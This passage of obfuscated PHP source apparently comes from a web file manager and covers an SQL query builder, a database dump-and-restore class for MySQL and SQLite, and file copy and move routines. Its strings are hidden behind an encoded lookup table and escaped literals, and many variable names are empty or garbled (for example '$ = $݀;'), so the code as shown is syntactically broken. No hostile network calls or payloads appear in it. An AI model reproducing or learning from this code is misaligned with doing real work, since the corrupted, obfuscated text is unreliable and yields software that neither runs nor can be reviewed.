$ . $ԕ[53] . $Ћ . $ԕ[53] . $this->parseValue($۱) . $ԕ[1065] . $δ . $ԕ[53]; } } $А = substr($А, 0, -4); } } else { $А .= $ . $ԕ[1069] . $this->parseValue($); } return $А; } protected function parseThinkWhere($, $݀) { $ =& $_SERVER[ʇ]; $ = $[12]; switch ($) { case $[398]: $ = $݀; break; case $[1052]: $ = is_string($݀) ? $݀ : substr($this->parseWhere($݀), 6); break; case $[1070]: parse_str($݀, $򬝀); if (isset($򬝀[$[1047]])) { $߱ = $[53] . strtoupper($򬝀[$[1047]]) . $[53]; unset($򬝀[$[1047]]); } else { $߱ = $[1051]; } $ͭ = array(); foreach ($򬝀 as $֒ => $) { $ͭ[] = $this->parseKey($֒) . $[1069] . $this->parseValue($); } $ = implode($߱, $ͭ); break; } return $; } protected function parseLimit($ޥʷ) { $ΐ =& $_SERVER[ʇ]; return !empty($ޥʷ) ? $ΐ[51] . $ޥʷ . $ΐ[53] : $ΐ[12]; } protected function parseJoin($ʑ) { $Ô =& $_SERVER[ʇ]; $ = $Ô[12]; if (!empty($ʑ)) { if (is_array($ʑ)) { foreach ($ʑ as $՟ => $) { if (!1 !== stripos($, $Ô[1071])) { $ .= $Ô[53] . $; } else { $ .= $Ô[1072] . $; } } } else { $ .= $Ô[1072] . $ʑ; } } $ = preg_replace($Ô[1073], think_config($Ô[977]) . $Ô[1074], $); return $; } protected function parseOrder($ީ) { $ǖ =& $_SERVER[ʇ]; if (is_array($ީ)) { $𱈲 = array(); foreach ($ީ as $ => $֤) { if (is_numeric($)) { $𱈲[] = $this->parseKey($֤); } else { $֤ = in_array(strtoupper(trim($֤)), array($ǖ[1075], $ǖ[1076])) ? $ǖ[53] . $֤ : $ǖ[12]; if (preg_match($ǖ[1077], $)) { $𱈲[] = $this->parseKey($) . $֤; } else { think_exception($ǖ[1078] . $); } } } $ީ = implode($ǖ[50], $𱈲); } return !empty($ީ) ? $ǖ[1079] . $ީ : $ǖ[12]; } protected function parseGroup($黜) { $ =& $_SERVER[ʇ]; return !empty($黜) ? $[1080] . $黜 : $[12]; } protected function parseHaving($) { $ =& $_SERVER[ʇ]; return !empty($) ? $[1081] . $ : $[12]; } protected function parseComment($߅) { $ =& $_SERVER[ʇ]; return !empty($߅) ? $[1082] . $߅ . $[1083] : $[12]; } protected function parseDistinct($΄) { $æ =& $_SERVER[ʇ]; return !empty($΄) ? $æ[1084] : $æ[12]; } protected function parseUnion($Ä) { $ְ =& $_SERVER[ʇ]; if (empty($Ä)) { return $ְ[12]; } if (isset($Ä[$ְ[394]])) { $멷 = $ְ[1085]; unset($Ä[$ְ[394]]); } else { $멷 = $ְ[1086]; } foreach ($Ä as $) { $[] = $멷 . (is_array($) ? $this->buildSelectSql($) : $); } return implode($ְ[53], $); } public function insert($, $ = array(), $Ꚍ = false) { $䴩 =& $_SERVER[ʇ]; $ = $ = array(); $this->model = $[$䴩[327]]; foreach ($ as $ => $ȵս) { if (is_array($ȵս) && $䴩[343] == $ȵս[0]) { $[] = $this->parseKey($); $[] = $ȵս[1]; } elseif (is_scalar($ȵս) || is_null($ȵս)) { $[] = $this->parseKey($); $[] = $this->parseValue($ȵս); } } $ = ($Ꚍ ? $䴩[954] : $䴩[955]) . $䴩[956] . $this->parseTable($[$䴩[325]]) . $䴩[950] . implode($䴩[50], $) . $䴩[951] . implode($䴩[50], $) . $䴩[952]; $ .= $this->parseLock(isset($[$䴩[890]]) ? $[$䴩[890]] : !1); $ .= $this->parseComment(!empty($[$䴩[400]]) ? $[$䴩[400]] : $䴩[12]); return $this->execute($, $this->parseBind(!empty($[$䴩[331]]) ? $[$䴩[331]] : array())); } public function selectInsert($, $♢, $ِ = array()) { $ =& $_SERVER[ʇ]; $this->model = $ِ[$[327]]; if (is_string($)) { $ = explode($[50], $); } array_walk($, array($this, $[953])); $ķ = $[1087] . $this->parseTable($♢) . $[950] . implode($[50], $) . $[1065]; $ķ .= $this->buildSelectSql($ِ); return $this->execute($ķ, $this->parseBind(!empty($ِ[$[331]]) ? $ِ[$[331]] : array())); } public function update($, $׋) { $蹃 =& $_SERVER[ʇ]; $this->model = $׋[$蹃[327]]; $ɚ = $蹃[1088] . $this->parseTable($׋[$蹃[325]]) . $this->parseSet($) . $this->parseWhere(!empty($׋[$蹃[321]]) ? $׋[$蹃[321]] : $蹃[12]) . $this->parseOrder(!empty($׋[$蹃[411]]) ? $׋[$蹃[411]] : $蹃[12]) . $this->parseLimit(!empty($׋[$蹃[338]]) ? $׋[$蹃[338]] : $蹃[12]) . $this->parseLock(isset($׋[$蹃[890]]) ? $׋[$蹃[890]] : !1) . $this->parseComment(!empty($׋[$蹃[400]]) ? $׋[$蹃[400]] : $蹃[12]); return $this->execute($ɚ, $this->parseBind(!empty($׋[$蹃[331]]) ? $׋[$蹃[331]] : array())); } public function delete($ = array()) { $ =& $_SERVER[ʇ]; $this->model = $[$[327]]; $঴ = $[1089] . $this->parseTable($[$[325]]) . $this->parseWhere(!empty($[$[321]]) ? $[$[321]] : $[12]) . $this->parseOrder(!empty($[$[411]]) ? $[$[411]] : $[12]) . $this->parseLimit(!empty($[$[338]]) ? $[$[338]] : $[12]) . $this->parseLock(isset($[$[890]]) ? $[$[890]] : !1) . $this->parseComment(!empty($[$[400]]) ? $[$[400]] : $[12]); return $this->execute($঴, $this->parseBind(!empty($[$[331]]) ? $[$[331]] : array())); } public function select($ذ = array()) { $ە =& $_SERVER[ʇ]; $this->model = $ذ[$ە[327]]; $ϥ = $this->buildSelectSql($ذ); $냣 = isset($ذ[$ە[395]]) ? $ذ[$ە[395]] : !1; if ($냣) { $ = is_string($냣[$ە[96]]) ? $냣[$ە[96]] : $ە[1090] . md5($ϥ); $ޥ = think_cache($, $ە[12], $냣); if (!1 !== $ޥ) { return $ޥ; } } $⮉͐ = $this->query($ϥ, $this->parseBind(!empty($ذ[$ە[331]]) ? $ذ[$ە[331]] : array())); if ($냣 && !1 !== $⮉͐) { think_cache($, $⮉͐, $냣); } return $⮉͐; } public function buildSelectSql($ = array()) { $־ =& $_SERVER[ʇ]; if (isset($[$־[399]])) { if (strpos($[$־[399]], $־[50])) { list($, $) = explode($־[50], $[$־[399]]); } else { $ = $[$־[399]]; } $ = $ ? $ : 1; $ = isset($) ? $ : (is_numeric($[$־[338]]) ? $[$־[338]] : 20); $̇ = $ * ((int) $ - 1); $[$־[338]] = $̇ . $־[50] . $; } if (think_config($־[1091])) { $޵ = $־[1092] . md5(serialize($)); $ = think_cache($޵); if ($) { return $; } } $抵皬 = $this->parseSql($this->selectSql, $); $抵皬 .= $this->parseLock(isset($[$־[890]]) ? $[$־[890]] : !1); if (isset($޵)) { think_cache($޵, $抵皬); } return $抵皬; } public function parseSql($, $몍 = array()) { $ɰ =& $_SERVER[ʇ]; $ = str_replace(array($ɰ[1093], $ɰ[1094], $ɰ[1095], $ɰ[1096], $ɰ[1097], $ɰ[1098], $ɰ[1099], $ɰ[1100], $ɰ[1101], $ɰ[1102], $ɰ[1103]), array($this->parseTable("{$몍[$ɰ[325]]}"), $this->parseDistinct(isset($몍[$ɰ[1104]]) ? $몍[$ɰ[1104]] : !1), $this->parseField(!empty($몍[$ɰ[319]]) ? $몍[$ɰ[319]] : $ɰ[205]), $this->parseJoin(!empty($몍[$ɰ[328]]) ? $몍[$ɰ[328]] : $ɰ[12]), $this->parseWhere(!empty($몍[$ɰ[321]]) ? $몍[$ɰ[321]] : $ɰ[12]), $this->parseGroup(!empty($몍[$ɰ[549]]) ? $몍[$ɰ[549]] : $ɰ[12]), $this->parseHaving(!empty($몍[$ɰ[1105]]) ? $몍[$ɰ[1105]] : $ɰ[12]), $this->parseOrder(!empty($몍[$ɰ[411]]) ? $몍[$ɰ[411]] : $ɰ[12]), $this->parseLimit(!empty($몍[$ɰ[338]]) ? $몍[$ɰ[338]] : $ɰ[12]), $this->parseUnion(!empty($몍[$ɰ[393]]) ? $몍[$ɰ[393]] : $ɰ[12]), $this->parseComment(!empty($몍[$ɰ[400]]) ? $몍[$ɰ[400]] : $ɰ[12])), $); return $; } public function getLastSql($ ֕ = '') { return $ ֕ ? $this->modelSql[$ ֕] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($׍˼) { return addslashes($׍˼); } public function setModel($䭎) { $this->model = $䭎; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } class DbManage { function __construct($ = array()) { $ұ =& $_SERVER[ʇ]; if (empty($)) { $ = $GLOBALS[$ұ[6]][$ұ[21]]; } $this->database = $; } public function model($ = '') { return new ModelBase($, $_SERVER[ʇ][12], $this->database); } public function db($Ч = false) { $ݢ =& $_SERVER[ʇ]; $Ψ = array_change_key_case($this->database); if ($this->dbType() == $ݢ[13] || !$Ч) { return $this->model()->db(); } $˽ = $Ψ[$ݢ[1019]]; $Ψ[$ݢ[1019]] = $ݢ[12]; if ($Ψ[$ݢ[1014]] == $ݢ[1011]) { $ҵ = $Ψ[$ݢ[1020]]; $Ψ[$ݢ[1020]] = substr($ҵ, 0, strrpos($ҵ, $ݢ[1106])); } $this->database = $Ψ; $ꫦ = $this->model()->db(); try { $ = $ꫦ->execute("\163\150\157\167\x20\144\x61\164\x61\x62\141\163\x65\163\x20\154\151\x6b\x65\40\47{$˽}\47"); } catch (Exception $㵎) { } if (!$) { $ꫦ->execute("\x63\x72\145\x61\x74\145\x20\144\x61\164\141\142\141\163\145\40\x60{$˽}\x60"); } $Ψ[$ݢ[1019]] = $˽; if ($Ψ[$ݢ[1014]] == $ݢ[1011]) { $Ψ[$ݢ[1020]] .= $ݢ[1106] . $˽; } $this->database = $Ψ; $ꫦ->execute("\165\x73\145\x20\x60{$˽}\140"); return $ꫦ; } public function createTable($, &$) { $ =& $_SERVER[ʇ]; if (!IO::exist($)) { ActionCall($[1107], !0, 0); show_json(LNG($[1108]), !1); } $ѱ = $this->model()->db(); $Ԡє = sqlSplit(IO::getContent($)); foreach ($Ԡє as $ɶއ) { $ = stripos($ɶއ, $[1109]) === 0; if ($) { $->task[$[825]] += 1; } $ѱ->execute($ɶއ); if ($) { preg_match($[1110], $ɶއ, $); $->task[$[1111]] = $[1]; $->update(1); } } } public function insertTable($, &$ή) { $Ʊ =& $_SERVER[ʇ]; $ = $this->model()->db(); $ = $ ? array($) : $->getTables(); foreach ($ as $Ӗ) { $ = basename($Ӗ, $Ʊ[827]); if (!in_array($, $)) { continue; } $ή->task[$Ʊ[1111]] = $; if (get_filesize($Ӗ) == 0) { continue; } $ը = $this->sqlToDb($Ӗ, $ή); if (!$ը) { ActionCall($Ʊ[1107], !0, 0); show_json(LNG($Ʊ[1112]) . "\133{$}\135", !1); } } } public function sqlFromDb($֌, $, &$, $ = '') { if ($) { $->task[$_SERVER[ʇ][1111]] = $֌; } $ = $this->model($֌); $ͽ = 0; $ = 0; $ = 10000; $ = fopen($, $_SERVER[ʇ][1113]); $Γ = $->getPk(); $ = $->getDbFields(); $ = $_SERVER[ʇ][12]; if ($GLOBALS[$_SERVER[ʇ][826]] && in_array($֌, array($_SERVER[ʇ][1114], $_SERVER[ʇ][1115]))) { $ = $֌; } do { $ = array($Γ => array($_SERVER[ʇ][1061], $)); $Ὧ = $->where($)->field($)->order($Γ . $_SERVER[ʇ][1116])->limit($)->select(); $Ὧ = !empty($Ὧ) ? $Ὧ : array(); if (!($۔ = count($Ὧ))) { break; } $⯞ = end($Ὧ); $ = $⯞[$Γ]; $́٤ = array(); foreach ($Ὧ as $) { if ($) { if ($֌ == $_SERVER[ʇ][1114]) { if ($[$_SERVER[ʇ][33]] == $_SERVER[ʇ][1117]) { $甑 = json_decode($[$_SERVER[ʇ][420]], !0); if ($甑[$_SERVER[ʇ][32]] == $GLOBALS[$_SERVER[ʇ][826]] && $甑[$_SERVER[ʇ][789]] != 1) { continue; } } } else { if ($[$_SERVER[ʇ][33]] == $_SERVER[ʇ][1118] && $[$_SERVER[ʇ][96]] == $_SERVER[ʇ][818]) { continue; } } } if ($) { $[$_SERVER[ʇ][86]] = "\x7b\151\x6f\72{$}\175" . substr($[$_SERVER[ʇ][86]], strlen("\x7b\x69\x6f\x3a{$[$_SERVER[ʇ][863]]}\175")); $[$_SERVER[ʇ][863]] = $; } $́٤[] = $_SERVER[ʇ][1119] . $this->sqlEncode($) . $_SERVER[ʇ][1120]; } $݀ = "\111\116\123\105\x52\124\x20\111\x4e\x54\117\40\140{$֌}\140\40\50\x60" . implode($_SERVER[ʇ][1121], $) . $_SERVER[ʇ][1122]; fwrite($, $݀ . implode($_SERVER[ʇ][1123], $́٤) . $_SERVER[ʇ][73] . PHP_EOL); $ͽ += $۔; if ($) { $->update($۔); } } while ($ == $۔); fclose($); return $ͽ; } public function sqlToDb($, &$¨) { $ߧ =& $_SERVER[ʇ]; $͓ = $this->model()->db(); $ = @fopen($, $ߧ[1124]); if (!$) { return !1; } $܅ = 0; $ = $ߧ[12]; $ԩ͞ = array(); $ٖ͒ = $this->dbType(); $ = $ٖ͒ == $ߧ[13] ? 500 : 2000; $Ȑ = basename($, $ߧ[827]); $ = 0; $˳ػ = 4194304 - 104858; $ = 1000000 - 104858; while (!feof($)) { $ӣ = trim(fgets($)); if (!$ӣ) { continue; } $ = $this->sqlDecode($ӣ, $ٖ͒, $Ȑ); if (stripos($, $ߧ[401]) === 0) { if (!$) { $ = $ . $ߧ[53]; } continue; } if ($¨) { $¨->task[$ߧ[825]] += 1; } $܅++; $ԩ͞[] = rtrim(rtrim(trim($), $ߧ[50]), $ߧ[73]); $眭 = null; $Ȥ = strlen($); $ += $Ȥ; if ($ >= ($ == 500 ? $ : $˳ػ)) { $眭 = array_pop($ԩ͞); if ($܅ > 1) { $܅--; } } if ($܅ >= $ || $眭) { $ = $ . implode($ߧ[50], $ԩ͞); if (!$͓->execute($)) { return !1; } if ($¨) { $¨->update($܅); } $ԩ͞ = array(); $܅ = 0; $ = 0; if ($眭) { $ԩ͞ = array($眭); $܅ = 1; $ = $Ȥ; } } } fclose($); if (!empty($ԩ͞)) { $ = $ . implode($ߧ[50], $ԩ͞); if (!$͓->execute($)) { return !1; } if ($¨) { $¨->update($܅); } } return !0; } public function dropTable($螮 = null) { $Ϟ = $this->model()->db(); $ݫ = $螮 ? array($螮) : $Ϟ->getTables(); if (!$ݫ) { return; } foreach ($ݫ as $螮) { if ($螮) { $螮 = strtolower($螮); } else { continue; } $Ϟ->execute("\144\162\157\160\40\x74\x61\142\154\x65\40\151\x66\40\145\x78\x69\163\x74\163\x20\140{$螮}\140"); } } private function sqlEncode($̸Ȫ) { $ÿ =& $_SERVER[ʇ]; $㙎 = array(); foreach ($̸Ȫ as $Ш) { if (is_array($Ш)) { $Ш = json_encode_force($Ш); } $Ш = addslashes($Ш); $Ш = str_replace(array($ÿ[1125], $ÿ[248]), array($ÿ[1126], $ÿ[1127]), $Ш); $㙎[] = str_replace($ÿ[58], $ÿ[1128], $Ш); } return $ÿ[58] . implode($ÿ[1129], $㙎) . $ÿ[58]; } private function sqlDecode($׃, $Ț, $ٛ = '') { $ǻ =& $_SERVER[ʇ]; $׃ = str_replace(array($ǻ[1126], $ǻ[1127]), array($ǻ[1125], $ǻ[248]), $׃); if ($Ț == $ǻ[13]) { return $ٛ != $ǻ[1130] ? stripslashes($׃) : $׃; } if ($ٛ == $ǻ[1130]) { $׃ = str_replace($ǻ[1131], $ǻ[120], stripslashes($׃)); } return $׃; } public function getSqlFile($ߐ = '') { $θŎ =& $_SERVER[ʇ]; $ = $this->dbType(!0); $ = CONTROLLER_DIR . "\151\x6e\163\164\x61\x6c\x6c\x2f\x64\141\164\x61\x2f{$}\x2e\163\161\x6c"; $ = file_get_contents($); $ތӕ = $θŎ[1132] . ($ == $θŎ[850] ? $θŎ[1133] : $θŎ[1134]) . $θŎ[1135]; preg_match_all($ތӕ, $, $); $ڎ = $[1]; $ = $this->model()->db(); $ = $->getTables(); $撩ؿ = TEMP_FILES . $θŎ[1136] . date($θŎ[257]) . $θŎ[8]; del_dir($撩ؿ); mk_dir($撩ؿ); $ = $撩ؿ . $θŎ[1137]; $ = $撩ؿ . $θŎ[1138]; $Ҿ = $ == $θŎ[13] ? $θŎ[850] : $θŎ[13]; IO::copy(CONTROLLER_DIR . "\x69\x6e\163\164\x61\154\154\57\144\x61\164\141\57{$Ҿ}\56\163\x71\x6c", $撩ؿ); @touch($撩ؿ . $ . $θŎ[827]); $ܿ = fopen($, $θŎ[1113]); $Ͻ = fopen($, $θŎ[1113]); if ($ == $θŎ[13]) { $ = array_diff($, array($θŎ[823], $θŎ[824])); $ = array($θŎ[1139], $θŎ[1140], $θŎ[1141]); fwrite($Ͻ, implode(PHP_EOL, $) . PHP_EOL . PHP_EOL); foreach ($ as $›) { $ʋ = $this->sqlFromSqlite($›); if (!$ʋ[$θŎ[13]]) { continue; } fwrite($Ͻ, $ʋ[$θŎ[13]] . PHP_EOL . PHP_EOL); if (!in_array($›, $ڎ)) { fwrite($ܿ, $ʋ[$θŎ[850]] . PHP_EOL . PHP_EOL); } } } else { foreach ($ as $›) { $ʋ = $this->sqlFromMysql($›); if (!$ʋ[$θŎ[850]]) { continue; } fwrite($ܿ, $ʋ[$θŎ[850]] . PHP_EOL . PHP_EOL); if (!in_array($›, $ڎ)) { fwrite($Ͻ, $ʋ[$θŎ[13]] . PHP_EOL . PHP_EOL); } } } fclose($ܿ); fclose($Ͻ); $ = array($θŎ[850] => $, $θŎ[13] => $); return $ߐ ? $[$ߐ] : $; } public function dbType($خ = false) { $ƒ =& $_SERVER[ʇ]; $ = $خ ? $GLOBALS[$ƒ[6]][$ƒ[21]] : $this->database; $ = array_change_key_case($); $Ҵ = $[$ƒ[1014]]; if ($Ҵ == $ƒ[1011]) { $ĥ䮯 = explode($ƒ[4], $[$ƒ[1020]]); $Ҵ = $ĥ䮯[0]; } $¹ = array($ƒ[1142] => $ƒ[13], $ƒ[959] => $ƒ[850]); if (isset($¹[$Ҵ])) { $Ҵ = $¹[$Ҵ]; } return $Ҵ; } public function sqlFromMysql($, $܀ = '') { $ =& $_SERVER[ʇ]; $ص = $this->model()->db(); $䡓 = $ص->query($[1143] . $ . $[431]); if (!$䡓 || !$䡓[0]) { return !1; } $ٿ = _get($䡓[0], $[1144], $[12]); if (!$ٿ) { return !1; } $Հ = "\x44\x52\x4f\x50\x20\124\x41\x42\x4c\105\40\x49\x46\x20\105\130\111\123\x54\x53\x20\140{$}\x60\73" . PHP_EOL . $ٿ . $[73]; if ($܀ && $܀ == $[850]) { return $Հ; } $ = array_change_key_case($GLOBALS[$[6]][$[21]]); $ = $[$[1019]]; $إ = $[1145] . $ . $[1146] . $ . $[58]; $ = $[1147] . $ . $[947]; $ = $ص->query($إ); if (empty($)) { $嘵 = array($[850] => $[12], $[13] => $[12]); return $܀ ? $嘵[$܀] : $嘵; } $Θ = $ص->query($); $ = $[12]; $ = array(); foreach ($Θ as $󉾀) { if (!$ && $󉾀[$[1148]] == $[1149]) { $ = $󉾀[$[1150]]; } if (isset($[$󉾀[$[1148]]])) { $[$󉾀[$[1148]]][$[1151]][] = $󉾀[$[1150]]; continue; } $[$󉾀[$[1148]]] = array($[1152] => $󉾀[$[1148]], $[1151] => array($󉾀[$[1150]]), $[1153] => $󉾀[$[1154]] == $[90] ? 0 : 1); } $֏ = array(); foreach ($ as $󉾀) { $챢 = $󉾀[$[1152]] == $[1149]; $⡦ = array($[1155], $󉾀[$[1153]] == $[90] && !$챢 ? $[1156] : $[12], $[1157], $[1158] . $ . $[11] . ($챢 ? $[1159] : $󉾀[$[1152]]) . $[120], $[1160], $[120] . $ . $[120], $[1161] . implode($[1162], $󉾀[$[1151]]) . $[1163]); $֏[] = implode($[53], $⡦) . $[73]; } $筿 = array(); $蹙 = array($[1164] => $[1165], $[1165] => $[1165], $[334] => $[361], $[333] => $[361]); foreach ($ as $󉾀) { $⡦ = array($[120] . $󉾀[$[1166]] . $[120], isset($蹙[$󉾀[$[1167]]]) ? $蹙[$󉾀[$[1167]]] : $󉾀[$[1168]], $󉾀[$[1169]] == $[945] ? $[1170] : $[1171], $󉾀[$[1166]] == $ ? $[1172] : $[12], $󉾀[$[996]] ? strtoupper(str_replace($[11], $[12], $󉾀[$[996]])) : $[12]); $筿[] = trim(implode($[53], $⡦)); } $Ƹ = array($[1173] . $ . $[1174], $[1175] . $ . $[1176], implode($[50] . PHP_EOL, $筿), $[993]); $ = implode(PHP_EOL, array_merge($Ƹ, $֏)); if ($܀ && $܀ == $[13]) { return $; } $嘵 = array($[850] => $Հ, $[13] => $); return $܀ ? $嘵[$܀] : $嘵; } public function sqlFromSqlite($, $ӗ = '') { $΢ =& $_SERVER[ʇ]; $֕ = $this->model()->db(); $ϯ = "\x50\x52\x41\107\x4d\x41\40\124\x41\x42\x4c\x45\137\x49\116\x46\117\40\50\x27{$}\47\51"; $ڄ = "\x53\x45\x4c\x45\103\x54\x20\52\40\x46\x52\117\x4d\x20\163\161\154\x69\164\x65\137\x6d\141\x73\x74\x65\x72\40\x57\110\105\122\x45\40\164\142\154\137\x6e\141\x6d\x65\x20\x3d\40\47{$}\x27"; $ = $֕->query($ϯ); if (empty($)) { $ = array($΢[850] => $΢[12], $΢[13] => $΢[12]); return $ӗ ? $[$ӗ] : $; } $ = $֕->query($ڄ); $Т۳ = $ʘ = array(); foreach ($ as $) { if ($[$΢[33]] == $΢[325]) { $Т۳[] = $[$΢[1177]]; } else { $ʘ[$[$΢[32]]] = $[$΢[1177]]; } } $򖃏 = array_merge(array($΢[1173] . $ . $΢[120]), $Т۳, array_values($ʘ)); $򖃏 = implode($΢[73] . PHP_EOL, $򖃏) . $΢[73]; if ($ӗ && $ӗ == $΢[13]) { return $򖃏; } $벍 = array(); $ = array($΢[1165] => $΢[1178], $΢[361] => $΢[1179]); $ƓӶ = $΢[12]; foreach ($ as $) { if ($[$΢[57]] == $΢[90]) { $ƓӶ = $[$΢[32]]; } $ޏϫ = array($΢[431] . $[$΢[32]] . $΢[431], isset($[$[$΢[33]]]) ? $[$[$΢[33]]] : $[$΢[33]], $[$΢[35]] == $΢[90] ? $΢[1170] : $΢[1180] . $[$΢[56]], $[$΢[57]] == $΢[90] ? $΢[1181] : $΢[12]); $벍[] = trim(implode($΢[53], $ޏϫ)); } foreach ($ʘ as $ޠ => $) { $ = str_replace($΢[1182] . $ . $΢[11], $΢[12], $ޠ); $ҿ = str_replace(array($΢[120], $΢[1004]), $΢[431], substr($, stripos($, $΢[306]))); if ($ == $΢[1159]) { $ݓ = $΢[1183] . $ƓӶ . $΢[1184]; } else { $ݓ = (stripos($, $΢[11]) ? $΢[1185] : $΢[12]) . ($΢[1186] . $ . $΢[1187] . $ҿ); } $벍[] = $ݓ; } $ = array($΢[1188] . $ . $΢[1189], $΢[1190] . $ . $΢[1191], implode($΢[50] . PHP_EOL, $벍), $΢[1192]); $ = implode(PHP_EOL, $); if ($ӗ && $ӗ == $΢[850]) { return $; } $ = array($΢[850] => $, $΢[13] => $򖃏); return $ӗ ? $[$ӗ] : $; } } class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($ኃ, $) { $箷 =& $_SERVER[ʇ]; $ۅ = $; $GLOBALS[$箷[1193]] = $箷[1194] . $ኃ; Hook::trigger($箷[1194] . $ኃ . $箷[1195], $ۅ); $Ȁ = self::driverMake($[0]); if (!$Ȁ) { return !1; } if (method_exists($Ȁ, $ኃ)) { $ɿ = @call_user_func_array(array($Ȁ, $ኃ), $); } else { if (method_exists($Ȁ, $箷[1196])) { $ɿ = @call_user_func_array(array($Ȁ, $ኃ), $); } else { if (method_exists(self, $ኃ)) { $ɿ = @call_user_func_array(array(self, $ኃ), $); } else { $ɿ = call_user_func_array(array(parent, $ኃ), $); } } } Hook::trigger($箷[1194] . $ኃ . $箷[1197], $ۅ, $ɿ); return $ɿ; } public static function init($ѹ) { return self::driverMake($ѹ); } public static function copy($ƭɻ, $թы, $ = false, $ޏ = false) { return self::copyMoveStart($ƭɻ, $թы, $, $_SERVER[ʇ][588], $ޏ); } public static function move($, $, $ = false, $ނ = false) { return self::copyMoveStart($, $, $, $_SERVER[ʇ][590], $ނ); } private static function copyMoveStart($Ϻ, $ѱ, $Ĕ, $, $Ƀ) { $ߎ =& $_SERVER[ʇ]; $ = array($Ϻ, $ѱ, $Ĕ, $Ƀ); Hook::trigger($ߎ[1194] . $ . $ߎ[1195], $); $ = self::copyMove($Ϻ, $ѱ, $Ĕ, $, $Ƀ); Hook::trigger($ߎ[1194] . $ . $ߎ[1197], $, $); return $; } public static function saveFile($, $أ, $ߓ = true) { $ȷ =& $_SERVER[ʇ]; $Ǫ = self::info($أ); $ڴ = self::driverMake($); $ = self::driverMake($أ); $镠 = !1; if ($->pathParse[$ȷ[1198]]) { $镠 = $; $ϊ = $->pathParse[$ȷ[1198]]; $ = self::driverMake($ϊ); } if ($ڴ->pathParse[$ȷ[1198]]) { $Ȃޑ = $ڴ->pathParse[$ȷ[1198]]; $ڴ = self::driverMake($Ȃޑ); } $Ѐւ = $->pathFather($أ); $Ɗ = !0; if (!$ߓ && self::driverIsSame($ڴ, $)) { $Ɗ = !1; } $̒ = self::copyFile($ڴ, $, $, $Ѐւ, $Ǫ[$ȷ[32]], $Ɗ); if ($镠) { $̒ = $镠->getPathOuter($̒); } return $̒; } private static function copyMove($, $Х, $٪, $݊˫, $П = false) { $ =& $_SERVER[ʇ]; if (!$ || $ == $[8] || !$Х) { return !1; } ignore_timeout(); $ = self::driverMake($); $߄ = self::driverMake($Х); $ = $݊˫ == $[590]; $狶 = !1; if ($߄->pathParse[$[1198]]) { $狶 = $߄; $Х = $߄->pathParse[$[1198]]; $߄ = self::driverMake($Х); } if ($->pathParse[$[1198]]) { $ = $->pathParse[$[1198]]; $ = self::driverMake($); } self::check($, $, $߄, $Х); Hook::trigger($[1199], $, $, $߄, $Х); $͵ = self::driverIsSame($, $߄); if ($͵) { if ($݊˫ == $[590] && !method_exists($߄, $[1200]) && trim($Х, $[8]) == trim($߄->pathFather($), $[8])) { if ($->pathThis($) != $П && !$->isTypeObject()) { return $->rename($, $П); } return $߄->getPathOuter($); } if (method_exists($߄, $݊˫)) { return $߄->{$݊˫}($, $Х, $٪, $П); } } if ($͵ && $݊˫ == $[590] && $߄->getType() == $[108]) { $м = $߄->movePath($, $Х, $П); if ($м) { return $м; } } $ƥ = $->isFile($); if (!$ƥ && $߄->getType() == $[796] && $->getType() == $[108]) { $м = $߄->copyFolderFromIO($, $, $Х, $٪, $, $П); } else { $м = self::copyPath($, $, $߄, $Х, $٪, $, $ƥ, $П); } if ($м && $) { $->remove($); } if ($狶) { $м = $狶->getPathOuter($м); } return $м; } private static function check($, $, $, &$ӳ) { $ =& $_SERVER[ʇ]; if (self::driverIsSame($, $) && $->isFolder($) && $->isParentOf($, $ӳ)) { show_json(LNG($[1201]), !1); } if (!$->exist($)) { show_json(LNG($[107]), !1); } } private static function copyPath($, $ȝ, $ܻ, $ޘ, $, $̚, $𣏑, $ = false, $ = true) { $ =& $_SERVER[ʇ]; $ܹ = empty($) && $ !== $[214] ? $->pathThis($ȝ) : $; if ($) { $ = $ܻ->fileNameExist($ޘ, $ܹ); $歔 = $ܹ; $ܹ = $ܻ->fileNameAuto($ޘ, $ܹ, $, !$𣏑); if (!$ || $歔 != $ܹ) { $ = !1; } if ($ && !$) { $ܻ->_data[$[1202]] = !0; } } if ($𣏑) { return self::copyFile($, $ȝ, $ܻ, $ޘ, $ܹ, $̚); } if ($ == REPEAT_RENAME_FOLDER) { $ = !1; } $ = rtrim($ޘ, $[8]) . $[8] . $ܹ; $ߊ = $ܻ->mkdir($ܻ->getPath($), $); $ޘ = $ܻ->getPathInner($ߊ); $ = $->listPath($ȝ, !0); $ = is_array($) ? $ : array($[85] => array(), $[84] => array()); $ = array_merge($[$[85]], $[$[84]]); foreach ($ as $) { $  = $[$[33]] == $[216]; $ȝ = $->getPathInner($[$[86]]); $ = self::copyPath($, $ȝ, $ܻ, $ޘ, $, $̚, $ , !1, !1); if (!$) { IO::errorTips($[1203] . $ȝ . $[72] . $ޘ); } } self::copyMoveKeepInfo($, $ȝ, $ߊ); return $ߊ; } private static function copyFile($, $, $nj, $Ƒ, $ެ, $) { $ =& $_SERVER[ʇ]; $Ƒ = $nj->getPath(rtrim($Ƒ, $[8]) . $[8] . $ެ); $酩 = $[1204] . time() . rand_string(5); Hook::trigger($[1205], $, $, $nj, $Ƒ, $ެ, $酩); if (self::driverIsSame($, $nj)) { if ($) { $ž = $nj->moveFile($, $Ƒ); } else { $ž = $nj->copyFile($, $Ƒ); } Hook::trigger($[1206], $, $, $nj, $Ƒ, $ެ, $ž); self::copyMoveKeepInfo($, $, $ž); return $ž; } $ = TEMP_FILES; if ($GLOBALS[$[6]][$[91]][$[835]]) { $ = $GLOBALS[$[6]][$[91]][$[835]]; } $ҧ = $; mk_dir($ҧ); $¹ = $ҧ . $酩; $ = $¹; $¹ = $->download($, $¹); $¹ = $->iconvApp($¹); if (substr($¹, strlen($)) == $) { $ = !0; } $ž = $nj->upload($Ƒ, $¹, $); self::remove($); Hook::trigger($[1206], $, $, $nj, $Ƒ, $ެ, $ž); self::copyMoveKeepInfo($, $, $ž); return $ž; } private static function copyMoveKeepInfo($, $Ҽ, $) { if (!$) { return; } $ɇ = $->info($Ҽ); if (!is_array($ɇ)) { return; } IO::setModifyTime($, $ɇ[$_SERVER[ʇ][87]]); } public static function pathFather($؅) { $Ԁ = IO::init($؅); $ = $Ԁ->pathFather($Ԁ->path); return $Ԁ->getPathOuter($); } public static function fileOut($٥, $Ά = false, $ = false, $܋ = '') { $ = 